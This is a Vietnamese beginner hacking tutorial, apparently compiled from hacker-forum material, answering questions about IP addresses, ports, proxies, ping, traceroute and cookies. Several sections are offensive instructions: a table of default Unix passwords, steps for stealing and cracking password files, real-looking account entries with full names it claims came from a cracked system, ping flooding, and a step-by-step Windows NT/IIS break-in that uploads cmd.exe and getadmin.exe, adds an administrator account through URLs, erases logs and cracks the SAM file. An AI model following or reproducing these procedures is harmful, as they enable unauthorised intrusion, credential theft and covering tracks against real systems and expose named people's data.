1 . ) Ta cần những ǵ để bắt đầu ?
Có thể nhiều bạn không đồng ư với tôi nhưng cách tốt nhất để thực tập
là các bạn hăy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux
hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt
+ Một bộ tŕnh duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là
Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có
một chút kiến thức về lập tŕnh ( C , C++ , Visual Basic , Pert …..)
2 . ) Thế nào là một địa chỉ IP ?
_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu
bởi 1 byte -> !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có
3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở
lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các
địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà
sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài
địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 th́
bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet th́ địa chỉ IP của mỗI
người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP
được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết
nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người
ta t́m ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các
cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất ḱ ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn "do not show
ip" người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gơ "systat –n ", và biết
được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mă java tóm IP, họ cũng có
thể tóm được IP của bạn
( Tài liệu của HVA )
3 . ) Làm thế nào để biết được địa chỉ IP của ḿnh ?
_ Trong Window : vào Start èRun đánh lệnh “winipcfg” .
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns <your nick>”
_ Thông qua một số trang Web có hiển thị IP .
4 . ) IP Spoofing là ǵ ?
_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế
giới. V́ vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao
đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin
giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát
từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể
vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều
trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi
đến thiết bị có IP mà chúng ta đă giả mạo. V́ vậy có thể bạn sẽ không
có được sự phản hồi những thông tin mà ḿnh mong muốn. Có lẽ điều duy
nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và
cần dấu thông tin cá nhân!
( Tài liệu của HVA )
5 . ) Trojan / worm / virus / logicbomb là cái ǵ ?
_ Trojan : Nói cho dễ hiểu th́ đây là chương tŕnh điệp viên được cài vào
máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ
nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie
………. tuỳ theo ư muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu th́ đây là chương tŕnh vớI những mă đặc biệt
được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện
những yêu cầu của mă đó , đa số virut được sử dụng để phá hoạI dữ
liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương tŕnh độc lập có thể tự nhân bản bản thân nó và lây
lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ
liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi c̣n làm down cả mang
đó .
_ logicbomb : Là chương tŕnh gửi một lúc nhiều gói dữ liệu cho cùng một địa
chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc
dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) ;) .
6 . ) PGP là ǵ ?
_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự
mă hoá ch́a khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là
dạng mă hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những
dạng khác .
7 . ) Proxy là ǵ ?
_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những
proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức
thực thi trên dual_homed host hoặc basion host. Những chương tŕnh client của người
sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử
dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết
định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server
sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến
những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server
đến client. V́ vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host
homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet.
Điều này thường không tiện lợi, và một số người trể nên thất vọng khi
họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này.
Tất nhiên nó c̣n có những giao thức mới nhưng nói chung nó cũng khá tiện lợi
cho user. Bởi v́ proxy cho phép user truy xuất những dịch vụ trên internet từ hệ
thống cá nhân của họ, v́ vậy nó không cho phép packet đi trực tiếp giữa hệ
thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc
thông qua sự kết hợp giữa bastion host và screening rounter.
( Bài viết của Z3RON3 – tài liệu của HVA )
8 . ) Unix là ǵ ?
_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh
nhất , và thân thiết với các Hacker nhất . Nếu bạn đă trở thành một hacker
thật sự th́ HĐH này không thể thiếu đốI vớI bạn . Nó được sử dụng lập
tŕnh ngôn ngữ C .
9 . ) Telnet là ǵ ?
_ Telnet là một chương tŕnh cho phép ta kết nốI đến máy khác thông qua cổng (
port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số
cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25
.
10 . ) Làm thế nào để biết ḿnh đă Telnet đến hệ thống Unix ?
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn
khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ
xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy th́
cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo
ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một
account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi
bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hăy thử nhập
Default Password thử theo bảng sau :
Account-------------------------Default Password
Root-----------------------------------------------Root
Sys------------------------------------------------Sys / System / Bin
Bin-------------------------------------------------Sys / Bin
Mountfsy------------------------------------------Mountfsys
Nuuc-----------------------------------------------Anon
Anon-----------------------------------------------Anon
User------------------------------------------------User
Games---------------------------------------------Games
Install----------------------------------------------Install
Demo-----------------------------------------------Demo
Guest----------------------------------------------Guest
11 . ) shell account là cái ǵ ?
_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị
đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính
đang chạy Unix , “Shell” là chương tŕnh có nhiệm vụ dịch những kư tự của
bạn gửi đến rồI đưa vào thực hiện lệnh của chương tŕnh Unix . VớI một
shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn
nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com
tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền
cho nó .
12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?
_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu”
rồI , các bạn có thể crack được chúng nếu các bạn may mắn , c̣n không th́
các bạn đọc để tham khảo .
_ Đầu tiên bạn hăy đăng nhập vào hệ thống có sử dụng Unix như một khách
hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật
khẩu được cất dấu trong những hệ thống chuẩn như :
/etc/passwd
mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng
này :
userid:password:userid#:groupid#:GECOS field:home dir:shell
trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mă . Dùng để làm ǵ hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng kư khi họ đăng
kư mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở
trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ
tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt
để ta dễ dàng crack một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm (
giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hăy lấy file password , lấy file text đă mă hoá về , sau đó bạn dùng chương
tŕnh "CrackerJack" hoặc "John the Ripper" để crack .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn
để bạn có thể crack được v́ hầu hết bây giờ họ cất rất kỹ , hăy đọc
tiếp bạn sẽ thấy khó khăn chỗ nào .
13 . ) shadowed password là cái ǵ ?
_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập
một mật khẩu , th́ ngườI khác chỉ thấy được tŕnh đơn của nó ( như kư
hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đă
được cất giữ ở nơi khác , nơi mà một ngườI sử dụng b́nh thường không
thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker
th́ không rùi , ta không đến được trực tiếp file shadowed password th́ ta hăy t́m
file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hăy thử vớI lần
lượt những đường dẫn sau :
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #of username>/<username>
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure
maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20
Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng ,
hăy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn
phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ
nó đă hết hiệu lực rồI :
arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh
Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là kư
hiệu “ x ” , các bạn hăy t́m hiểu thông tin có được từ chúng xem .
14 . ) Vitual port là ǵ ?
_ Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission
Control Protocol) và UDP(User Diagram Protocol) header. Như mọi ngụi đă biết, Windows có
thể chạy nhiều chương tŕnh 1 lúc, mỗi chương tŕnh này có 1 cổng riêng dùng
để truyền và nhận dữ liệu. Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy
WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP
address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của
chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server
hay SM! TP? Chính v́ thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định,
ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là
110, SMTP là 25 vân vân.... Người quản trị mạng có thể thay đổi số port mặc
định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối
vào dịch vụ đó được. Chắc bạn đă từng nghe nói đến PORT MAPPING nhưng có
lẽ chưa biết nó là ǵ và chức năng thế nào. Port mapping thực ra đơn giản
chỉ là quá tŕnh chuyển đổi số port mặc định của một dịch vụ nào đó
đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng
có lẽ bạn vẫn thấy
http://www.xxx.com:8080 , 8080 ở đây chính là số port của
host xxx nhưng đă đuợc ngụi quản trị của host này "map" từ 80 thành 8080.
( Tài liệu của HVA )
15 . ) DNS là ǵ ?
_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng
số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết
nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành
các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 --> localhost và
localhost--->127.0.0.1 .
( Tài liệu của HVA )
16 . ) Đôi điều về Wingate :
_ WinGate là một chương tŕnh đơn giản cho phép bạn chia các kết nối ra. Thí
dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều
proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hăy làm theo tôi : Bạn hăy telnet trên
cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > .
Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng
bạn muốn kết nối vào. VD :
telnet wingate.net
WinGate> victim.com 23
ta telnet đến cổng 23 v́ đây là cổng mặc định khi bạn cài Wingate . lúc này IP
trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó
.
_ Làm sao để t́m Wingate ?
+ Nếu bạn muốn t́m IP WinGates tĩnh (IP không đổi) th́ đến yahoo hay một trang
t́m kiếm cable modem. T́m kiếm cable modems v́ nhiều người dùng cable modems có
WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những
máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan
Port 1080 .
+ Để t́m IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates
bạn có thể dùng Domscan hoặc các chương tŕnh quét khác . Nếu dùng Domscan bạn
hăy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đă
có kết quả , bạn hăy thử lần lượt telnet đến các địa chỉ IP t́m đựơc (
đă hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate >” th́ bạn đă t́m
đúng máy đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi th́ bạn hăy down wingatescanner về mà sài , nó có rất
nhièu trên mạng .
17 . ) Đôi điều về Traceroute :
_ Traceroute là một chương tŕnh cho phép bạn xác định được đường đi của
các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hăy xem VD sau :
C:\windows>tracert 203.94.12.54
Tracing route to 203.94.12.54 over a maximum of 30 hops
1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms
Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa
chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các
gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích)
trên mạng. Đây là đựng đi của các gói packets .
_ Bạn hăy xem VD tiếp theo :
host2 # traceroute xyz.com
traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms
+ Ḍng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Ḍng này
c̣n cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40
bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Ḍng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá
trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương
tŕnh traceroute một ICMP message error "Time Exceeded". Traceroute sẽ gởi tiếp một
datagram đến hệ thống đích.
+ Ḍng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đă
giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó
sẽ gởi trở lại cho traceroute một ICMP error message "Port Unreachable". Khi nhận
được ICMP message này, traceroute sẽ biết được đă đến được hệ thống
đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu
sao "*"(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ư:
Trong windows: tracert hostname
Trong unix: traceroute hostname
( Tài liệu của viethacker.net )
18 . ) Ping và cách sử dụng :
_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán
mạng. Tiểu sử của từ "ping" như sau: Ping là tiếng động vang ra khi 1 tàu ngầm
muốn biết có 1 vật thể khác ở gần ḿnh hay ko, nếu có 1 vật thể nào đó
gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ
là "pong" vậy th́ tàu ngầm đó sẽ biết là có ǵ gần ḿnh.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đă đề
cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host,
nếu host đó "pong" lại có nghĩa là host đó tồn tại (hoặc là có thể với tới
đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin
(data packet) đi từ máy tính của ḿnh đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gơ "ping địa_chỉ_ip", mặc định
sẽ ping 4 lần, nhưng bạn cũng có thể gơ
"ping ip.address -t"
Cách này sẽ làm máy ping măi. Để thay đổi kích thước ping làm như sau:
"ping -l (size) địa_chỉ_ip "
Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu
gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định
được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay
trở lại và chia bốn (gọi là "trip time"). Ping cũng có thể được dùng để làm
chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt
ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows
quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ
chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối
phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem
trung b́nh, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút
lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn
một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng
tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ư: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách
liên tục, với những khoảng ngắt quăng giữa hai lần ping liên tiếp. Trong tất
cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự.
Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable
Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản
Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó
là Unix hay Linux, nó sẽ có tham số -f.
( Tài liệu của HVA và viethacker.net )
19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :
_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về
hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số
thờI gian để thực hiện được nó v́ nó tuy dễ nhưng khó . Ta sẽ bắt đầu
:
_ Đầu tiên bạn cần t́m một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ' FTP <the company name>'. VD :
c:\Ftp www.dodgyinc.com
( trang naỳ khi tôi thực hành th́ vẫn c̣n làm được , bây giờ không biết họ
đă fix chưa , nếu bạn nào có trang nào khác th́ hăy post lên cho mọI ngườI cùng
làm nhé )
Nếu connect thành công , bạn sẽ thấy một số ḍng tương tự như thế này :
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):
Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết
tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra
tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà
dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hăy nhớ
lấy v́ nó sẽ có ích cho ta . Nhập "anonymous” trong user nó sẽ xuất hiện ḍng
sau :
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
Bây giờ passwd sẽ là bất cứ ǵ mà ta chưa biết , tuy nhiên , bạn hăy thử
đánh vào passwd là “anonymous” . Nếu nó sai , bạn hăy log in lạI thiết bị FTP ,
bạn hăy nhớ là khi ta quay lạI lần này th́ không sử dụng cách mạo danh nữa (
anonymous ) mà sử dụng “'Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hăy đánh lệnh trong DOS :
Cd /c
Và sẽ nh́n thấy kết quả nếu như bạn đă xâm nhập thành công , bây giờ bạn
hăy nhanh chóng t́m thư mục 'cgi-bin' . Nếu như bạn may mắn , bạn sẽ t́m được
dễ dàng v́ thông thường hệ thống quản lư đă đặt 'cgi-bin' vào nơi mà ta
vừa xâm nhập để cho các ngườI quản lư họ dễ dàng điều khiển mạng hơn .
thư mục cgi-bin có thể chứa các chương tŕnh mà bạn có thể lợi dụng nó để
chạy từ tŕnh duyệt Web của bạn . Ta hăy bắt đầu “quậy” nào .
_ Đầu tiên , bạn hăy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” (
có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put
cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hăy t́m
trên mạng để lấy 2 file quan trọng nhất đó là 'getadmin.exe' và 'gasys.dll' .
Download chúng xuống , một khi bạn đă có nó hăy cài vào trong thư mục cgi-bin . Ok
, coi như mọI việc đă xong , bạn hăy đóng cửa sổ DOS .
Bây giờ bạn hăy đánh địa chỉ sau lên tŕnh duyệt của bạn :
http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGYSau vài giây bạn sẽ có được câu trả lời như ở dướI đây :
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The
headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!
Thế là bạn đă mạo danh admin để xâm nhập hệ thống , việc cần thiết bây
giờ là bạn hăy tự tạo cho ḿnh một account , hăy đánh ḍng sau trên IE :
http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20hacker%20toilahacker%20/add
ḍng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd :
toilahackerBây giờ bạn hăy là cho user này có account của admin , bạn chỉ cần
đánh lên IE lệnh :
http://www.dodgyinc.com/cgi-bin/getadmin.exe?anhdendayVậy là xong rùi đó , bạn hăy disconnect và đến start menu -> find rồi search
computer 'www.dodgyinc.com'. Khi t́m thấy , bạn vào explore , explore NT sẽ mở ra bạn
hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd :
toilahacker ) .
Có một vấn đề là khi bạn xâm nhập hệ thống này th́ sẽ bị ghi lại , do
đó để xoá dấu vết bạn hăy vào 'Winnt\system32\logfiles' mở file log đó rồI xoá
những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một
thông báo ǵ về việc chia sẽ sự xâm nhập th́ bạn hăy thay đổi ngày tháng
trên máy tính vớI URL sau :
http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20date%2030/04/03xong rồI bạn hăy xoá file 'getadmin.exe', và 'gasys.dll' từ 'cgi-bin' . Mục đích khi
ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một
cách hợp lệ , do đó bạn hăy t́m file SAM ( chứa pass của admin và member ) trong
hệ thống rồI dùng chương tŕnh “l0pht crack” để crack pass ( Hướng dẫn về
cách sử dụng “l0pht crack v 3.02” tôi đă post lên rồi ,các bạn hăy tự nghiên
cứu nhé ) . Đây là link :
http://vnhacker.org/forum/?act=ST&f=6&t=11566&s=Khi crack xong các bạn đă có user và pass của admin rồI , bây giờ hăy xoá account
của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đă có thể làm ǵ
trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ
nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này ,
tôi đă mày ṃ mất cả 4 giờ , nếu như bạn đă quen th́ lần thứ 2 bạn sẽ
mất ít thờI gian hơn .
Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ
của một Web site , và làm thế nào để hack một trang web đơn giản nhất
.v.v…
20 . ) Cookie là ǵ ?
_ Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site
và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu
nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy
t́m/nhận biết các thông tin về người dùng đă ghé thăm site và những vùng mà
họ đi qua trong site. Những thông tin này có thể bao gồm tên/định danh người
dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp
nhận lưu trên đĩa cứng của máy ḿnh, ko phải browser nào cũng hỗ trợ cookie.
Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ
trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại
những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1
forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các
thông tin khác. Vấn đề đặt ra là có nhiều site quản lư việc dùng lại các
thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mă hoá các thông
tin trong cookie c̣n sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng
nhập, đoạt quyền điêu khiển site .
_ Cookies thường có các thành phần sau :
+ Tên: do người lập tŕnh web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
